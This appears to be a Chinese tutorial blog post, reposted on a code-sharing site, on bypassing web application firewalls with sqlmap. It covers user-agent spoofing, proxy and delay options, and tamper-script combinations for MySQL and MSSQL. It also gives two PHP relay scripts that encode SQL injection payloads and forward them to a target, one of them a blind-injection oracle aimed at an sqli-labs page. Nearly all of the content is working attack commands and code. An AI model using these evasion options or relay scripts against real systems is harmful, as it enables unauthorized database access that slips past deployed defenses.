ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sqlmap之绕过waf思路

2021-10-25 16:01:32  阅读:179  来源: 互联网

标签:sqlmap charencode -- waf space2comment securesphere space2randomblank tamper 绕过


1.设置请求头

--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

2.设置代理

--proxy=http://127.0.0.1:8080

3.设置延迟

--delay=1

4.利用--tamper参数中的编码脚本

常见编码搭配方式
普通tamper搭配方式:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

数据库为MSSQL的搭配方式:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

数据库为MySql的搭配方式:

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

5.示例

中转注入base64编码型

<?php
$payload=base64_encode($_GET['x']);//对中转脚本接收的参数进行base64编码
echo $payload
$urls="http://xxx/xxxx?q=1$payload";//对请求的网址拼接base64编码的字符串
file_get_contents($urls);//请求目标网站
echo $urls;
?>

POST型注入

注入点为

uname=admin&passwd=hhh&submit=Submit

构造脚本

<?php
$url = "http://192.168.1.104/sqli/Less-11/index.php";
$sql = $_GET[s];//获取中转脚本传过来的payload 
$s = urlencode($sql);
$params = "uname=admin$s&passwd=aa";
$ch = curl_init();// 创建一个新cURL资源
 curl_setopt($ch, CURLOPT_URL, $url);//这是你想用PHP取回的URL地址,可以在用curl_init()函数初始化时设置这个选项
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hosts
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回,不自动输出任何内容。如果失败返回FALSE
curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中,设置这个选项为一个非零值   
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');// 在HTTP请求中自定义一个”user-agent”头的字符串
curl_setopt($ch, CURLOPT_TIMEOUT, 15);//为了应对目标服务器的过载,下线,或者崩溃等可能状况。
curl_setopt($ch, CURLOPT_POST, 1);    // post 提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
// 抓取URL并把它传递给浏览器 
$output = curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
$a = strlen($output);
//echo $a;
if($a==2846){
    echo "1";
}else{
    echo "2";
}

 

 

 

 

 

标签:sqlmap,charencode,--,waf,space2comment,securesphere,space2randomblank,tamper,绕过
来源: https://www.cnblogs.com/ayoung/p/15458922.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有